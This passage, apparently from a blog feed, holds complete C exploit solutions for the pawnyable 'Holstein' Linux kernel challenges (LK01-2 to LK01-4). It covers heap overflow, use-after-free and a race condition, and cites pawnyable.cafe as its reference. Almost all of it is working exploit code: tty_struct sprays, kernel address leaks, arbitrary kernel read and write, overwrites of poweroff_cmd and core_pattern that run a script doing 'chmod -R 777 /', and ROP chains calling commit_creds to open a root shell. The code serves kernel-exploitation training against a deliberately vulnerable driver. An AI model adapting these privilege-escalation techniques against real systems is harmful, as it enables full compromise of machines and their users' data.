      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define POWEROFF_CMD_OFFSET (0xffffffff81e379c0 - KERNEL_BASE)
#define POWEROFF_CMD_ADDR (kernel_base + POWEROFF_CMD_OFFSET)
#define ORDERLY_POWEROFF_OFFSET (0xffffffff810750e0 - KERNEL_BASE)
#define ORDERLY_POWEROFF (kernel_base + ORDERLY_POWEROFF_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i &amp;lt; 50; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    printf(&amp;#34;[-] Failed to open &amp;#34; VULN_DEVICE_NAME &amp;#34;\n&amp;#34;);
    return -1;
  }

  for (int i = 50; i &amp;lt; 100; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i &amp;lt; 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX &amp;lt;- ARG1, RDX &amp;lt;- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = &amp;#34;/tmp/evil.sh&amp;#34;;
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i &amp;lt; sizeof(kRunEvilCmd); i += 4) {
    AAW32(POWEROFF_CMD_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }
  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);

  SET_IOCTL_INST_ADDR(ORDERLY_POWEROFF);
  ioctl(modified_tty_fd, 0, 0);

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i &amp;lt; 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;968312457&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;968312457&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_core_pattern.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define CORE_PATTERN_OFFSET (0xffffffff81eb0b20 - KERNEL_BASE)
#define CORE_PATTERN_ADDR (kernel_base + CORE_PATTERN_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i &amp;lt; 50; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (fd &amp;lt; 0) {
    printf(&amp;#34;[-] Failed to open &amp;#34; VULN_DEVICE_NAME &amp;#34;\n&amp;#34;);
    return -1;
  }

  for (int i = 50; i &amp;lt; 100; ++i) {
    tty_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (tty_spray[i] &amp;lt; 0) {
      printf(&amp;#34;[-] Failed to open tty\n&amp;#34;);
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i &amp;lt; 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX &amp;lt;- ARG1, RDX &amp;lt;- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = &amp;#34;|/tmp/evil.sh&amp;#34;;
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i &amp;lt; sizeof(kRunEvilCmd); i += 4) {
    AAW32(CORE_PATTERN_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }
  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);

  system(&amp;#34;ulimit -c unlimited&amp;#34;);
  uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i &amp;lt; 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;lk01-3-holstein-v3-use-after-free&#34;&gt;LK01-3 (Holstein v3: Use-after-Free)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;739126845&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;739126845&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_XOR_EAX_POP_RSP_RBP_OFFSET (0xffffffff8114fbea - KERNEL_BASE)
#define PUSH_RDX_XOR_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_XOR_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8114078a - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81072560 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff810eb7e4 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81638e9b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810723c0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if PRINT_DEBUG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char *argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char *envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int main() {
  char buf[VULN_BUFFER_SIZE];

  save_state();

  int tmp_fd1 = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (tmp_fd1 &amp;lt; 0) {
    return -1;
  }

  int rop_and_vtable_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (rop_and_vtable_fd &amp;lt; 0) {
    return -1;
  }
  close(tmp_fd1);
  int tmp_tty1 = open(&amp;#34;/dev/ptmx&amp;#34;, O_NOCTTY);
  if (tmp_tty1 &amp;lt; 0) {
    return -1;
  }
  read(rop_and_vtable_fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x08 * 3) - 0xc39c60;
  g_buf_addr = *(uint64_t *)(buf + 0x08 * 7) - 0x38;

#if PRINT_DEBUG == 1
  if (kernel_base &amp;amp; 0xFFFFFF != 0) {
    printf(&amp;#34;[-] Failed to leak kernel base\n&amp;#34;);
    return -1;
  }
  if (g_buf_addr &amp;amp; 0xFF != 0) {
    printf(&amp;#34;[-] Failed to leak g_buf base\n&amp;#34;);
    return -1;
  }
  printf(&amp;#34;[*] kernel_base: %p\n&amp;#34;, (void *)kernel_base);
  printf(&amp;#34;[*] g_buf_addr: %p\n&amp;#34;, (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = PUSH_RDX_XOR_EAX_POP_RSP_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(rop_and_vtable_fd, buf, sizeof(buf));

  int tmp_fd2 = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (tmp_fd2 &amp;lt; 0) {
    return -1;
  }
  int uaf_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (uaf_fd &amp;lt; 0) {
    return -1;
  }
  close(tmp_fd2);
  int tty_fd = open(&amp;#34;/dev/ptmx&amp;#34;, O_NOCTTY);
  if (tty_fd &amp;lt; 0) {
    return -1;
  }
  read(uaf_fd, buf, sizeof(buf));
  *(uint64_t *)(buf + 8 * 3) = g_buf_addr - 0xC * 8;
  write(uaf_fd, buf, sizeof(buf));

  ioctl(tty_fd, 0x00, g_buf_addr);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;lk01-4-holstein-v4-race-condition&#34;&gt;LK01-4 (Holstein v4: Race Condition)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;814732569&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;814732569&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;bits/syscall.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME &amp;#34;holstein&amp;#34;
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP_OFFSET \
  (0xffffffff81137da8 - KERNEL_BASE)
#define PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff810b13c5 - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81072580 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_RBX_RBP_OFFSET (0xffffffff813006fc - KERNEL_BASE)
#define POP_RCX_RBX_RBP (kernel_base + POP_RCX_RBX_RBP_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8165094b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810723e0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

pid_t gettid(void) { return syscall(SYS_gettid); }

static int next_fd1 = -1, next_fd2 = -1;
static int vuln_fd1 = -1, vuln_fd2 = -1;
static int race_win = 0;

void find_next_fds() {
  next_fd1 = open(&amp;#34;/tmp&amp;#34;, O_RDONLY);
  next_fd2 = open(&amp;#34;/tmp&amp;#34;, O_RDONLY);
  close(next_fd1);
  close(next_fd2);
}

void* race_vuln_dev(void* args) {
  cpu_set_t* cpu_set = (cpu_set_t*)args;
  if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  while (1) {
    while (!race_win) {
      int fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
      if (fd == -1) {
        continue;
      }
      if (fd == next_fd2) {
        race_win = 1;
      }
      if (race_win == 0) {
        close(fd);
      }
    }

    if (write(next_fd1, &amp;#34;A&amp;#34;, 1) != 1 || write(next_fd2, &amp;#34;a&amp;#34;, 1) != 1) {
      close(next_fd1);
      close(next_fd2);
      race_win = 0;
    } else {
      vuln_fd1 = next_fd1;
      vuln_fd2 = next_fd2;
      break;
    }
    usleep(1000);
  }

  return NULL;
}

void* spray_ptmx(void* args) {
  cpu_set_t* cpu_set = (cpu_set_t*)args;
  if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  uint64_t val = 0;
  uint64_t ptmx_spray[800];

  for (int i = 0; i &amp;lt; 800; ++i) {
    usleep(50);
    ptmx_spray[i] = open(&amp;#34;/dev/ptmx&amp;#34;, O_RDONLY | O_NOCTTY);
    if (ptmx_spray[i] == -1) {
      for (int j = 0; j &amp;lt; i; ++j) {
        close(ptmx_spray[j]);
      }
      return (void*)-1;
    }

    if (read(vuln_fd2, &amp;amp;val, sizeof(val)) == sizeof(val) &amp;amp;&amp;amp;
        val == 0x100005401) {
      for (int j = 0; j &amp;lt; i; ++j) {
        close(ptmx_spray[j]);
      }
      return (void*)ptmx_spray[i];
    }
  }

  for (int i = 0; i &amp;lt; 800; ++i) {
    close(ptmx_spray[i]);
  }
  return (void*)-1;
}

int create_overlapped_fd() {
  pthread_t th[2];
  cpu_set_t cpu[2];
  char buf[0x10] = {
      0,
  };

  CPU_ZERO(&amp;amp;cpu[0]);
  CPU_ZERO(&amp;amp;cpu[1]);
  CPU_SET(0, &amp;amp;cpu[0]);
  CPU_SET(1, &amp;amp;cpu[1]);

  find_next_fds();
#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] next_fd1: %d, next_fd2: %d\n&amp;#34;, next_fd1, next_fd2);
#endif

  pthread_create(&amp;amp;th[0], NULL, race_vuln_dev, (void*)&amp;amp;cpu[0]);
  pthread_create(&amp;amp;th[1], NULL, race_vuln_dev, (void*)&amp;amp;cpu[1]);
  pthread_join(th[0], NULL);
  pthread_join(th[1], NULL);

#if PRINT_DEBUG == 1
  printf(&amp;#34;[*] vuln_fd1: %d, vuln_fd2: %d\n&amp;#34;, vuln_fd1, vuln_fd2);
#endif

  const char* kTestString = &amp;#34;Hello,Uniguri&amp;#34;;
  const size_t kTestStringLen = strlen(kTestString);
  int t = write(next_fd1, kTestString, kTestStringLen);
  t &amp;amp;= read(next_fd2, buf, kTestStringLen);
  if (t != kTestStringLen || strcmp(buf, kTestString)) {
    fatal(&amp;#34;Race fail&amp;#34;);
  }
#if PRINT_DEBUG == 1
  puts(&amp;#34;[+] race success&amp;#34;);
#endif
  memset(buf, 0, sizeof(buf));
  write(vuln_fd1, buf, sizeof(buf));

  close(vuln_fd1);
  usleep(2000);

  int loop_cnt = 0;
  int overlapped_ptmx_fd = (int)(uint64_t)spray_ptmx((void*)&amp;amp;cpu[0]);
  while (overlapped_ptmx_fd == -1 &amp;amp;&amp;amp; loop_cnt++ &amp;lt; 100) {
#if PRINT_DEBUG == 1
    puts(&amp;#34;[*] Spraying ptmx on another CPU&amp;#34;);
#endif
    pthread_create(&amp;amp;th[0], NULL, spray_ptmx, (void*)&amp;amp;cpu[1]);
    pthread_join(th[0], (void*)&amp;amp;overlapped_ptmx_fd);
  }
  if (overlapped_ptmx_fd == -1) {
    fatal(&amp;#34;overlapped_ptmx_fd&amp;#34;);
  }

#if PRINT_DEBUG == 1
  printf(&amp;#34;[+] Overlap success: ptmx=%d\n&amp;#34;, overlapped_ptmx_fd);
#endif
  return overlapped_ptmx_fd;
}

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
#if PRINT_DEBUG == 1
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int main(void) {
  char buf[VULN_BUFFER_SIZE] = {
      0,
  };

  save_state();

  create_overlapped_fd();

  read(vuln_fd2, buf, sizeof(buf));
  kernel_base = *(uint64_t*)(buf + 8 * 3) - 0xc3aec0;
  g_buf_addr = *(uint64_t*)(buf + 8 * 9) - 0x48;
  if ((kernel_base &amp;amp; 0xFFF) != 0) {
#if PRINT_DEBUG == 1
    puts(&amp;#34;[-] Adjust kernel_base&amp;#34;);
#endif
    kernel_base &amp;amp;= (~0xFFF);
  }
  if (0xffffffff81000000 &amp;gt; kernel_base || kernel_base &amp;gt; 0xffffffffc0000000) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
#if PRINT_DEBUG == 1
  printf(&amp;#34;[+] kernel_base: 0x%lx, g_buf_addr: 0x%lx\n&amp;#34;, kernel_base,
         g_buf_addr);
#endif

  uint64_t* rop_buf = (uint64_t*)buf;
  *rop_buf++ = PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX_RBX_RBP;
  *rop_buf++ = 0;
  *rop_buf++ = 0;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(vuln_fd2, buf, sizeof(buf));

  int overlapped_ptmx = create_overlapped_fd();
  read(vuln_fd2, buf, sizeof(buf));
  uint64_t tmp_kernel_base = *(uint64_t*)(buf + 8 * 3) - 0xc3aec0;
  if ((tmp_kernel_base &amp;amp; 0xFFF) != 0) {
    tmp_kernel_base &amp;amp;= (~0xFFF);
  }
  if (tmp_kernel_base != kernel_base) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  *(uint64_t*)(buf + 8 * 3) = g_buf_addr - 0xC * 8;
  write(vuln_fd2, buf, sizeof(buf));

  ioctl(overlapped_ptmx, 0x00, g_buf_addr);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/&#34;&gt;https://pawnyable.cafe/linux-kernel/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;lk01-1-holstein-v1-stack-overflow&#34;&gt;LK01-1 (Holstein v1: Stack Overflow)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;376251498&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;376251498&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_without_any_mitigation.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
